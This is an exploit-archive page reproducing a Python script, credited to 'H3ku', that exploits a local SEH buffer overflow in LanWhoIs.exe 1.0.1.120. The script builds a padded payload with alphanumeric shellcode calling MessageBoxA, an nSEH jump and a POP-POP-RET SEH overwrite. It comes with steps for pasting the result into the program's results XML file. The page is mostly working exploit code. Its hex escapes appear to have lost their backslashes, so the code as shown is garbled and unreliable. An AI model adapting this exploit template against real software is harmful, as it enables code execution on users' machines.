Home / os / solaris

LanWhoIs.exe 1.0.1.120 SEH Local Buffer Overflow

Posted on 30 November -0001

<HTML><HEAD><TITLE>LanWhoIs.exe 1.0.1.120 SEH Local Buffer Overflow</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>#!/usr/bin/python
# -*- coding: utf-8 -*-
 
### LanWhoIs.exe 1.0.1.120 SEH Local Buffer Overflow Exploit by H3ku ### 
 
# Date: 2016-10-26
# Exploit Author: H3ku
# Exploit Title: LanWhoIs.exe 1.0.1.120 SEH Overflow Exploit
# Vendor Homepage: http://lantricks.com
# Software Link: https://www.exploit-db.com/apps/70189a2b11bf85245ebcc00b603b5def-lanwhois_setup.exe
# Version: 1.0.1.120
# Tested on: Win7 64bit - Win10 64bits
 
# Credits
# =======
# PoC by: hyp3rlinx - http://hyp3rlinx.altervista.org
#   https://www.exploit-db.com/exploits/38404/
# Thanks to n30m1nd for clarifying my doubts in the amazing world of exploiting!
 
# How to
# ======
# * Run this python script. It will generate an "exploit.txt" file.
# * Copy the contents in to C:Program Files (x86)LanTricksLanWhoIswhois_result.xml (Parameter <QueryString>)
# * Select the address in the Results window pane and then click Query button to run a whois lookup or use 'F3'
# * MessageBoxA is called on an infinite loop since the exception handler is triggered all the time
 
# Exploit code
# ============

import struct

# MessageBoxA in 00404A2C
shellcode = ("x25x41x41x41"
             "x41x25x32x32"
             "x32x32x50x68"
             "x70x77x6Ex64"
             "x54x5Fx50x57"
             "x57x50x35x51"
             "x7Ax70x50x35"
             "x7Dx30x30x50"
             "x50xC3")

payload = "A"*550
payload += shellcode
payload += "A"*(126-len(shellcode))
nseh = "xEBx80x90x90" #jmp $-126
seh = struct.pack("<L", 0x00402b56) #POP ECX - POP EBP - RETN

payload += nseh + seh

with open("exploit.txt", "wb") as f:
    f.write(payload[:-1])
    f.close()
</BODY></HTML>

 

TOP

Malware :

Exploits :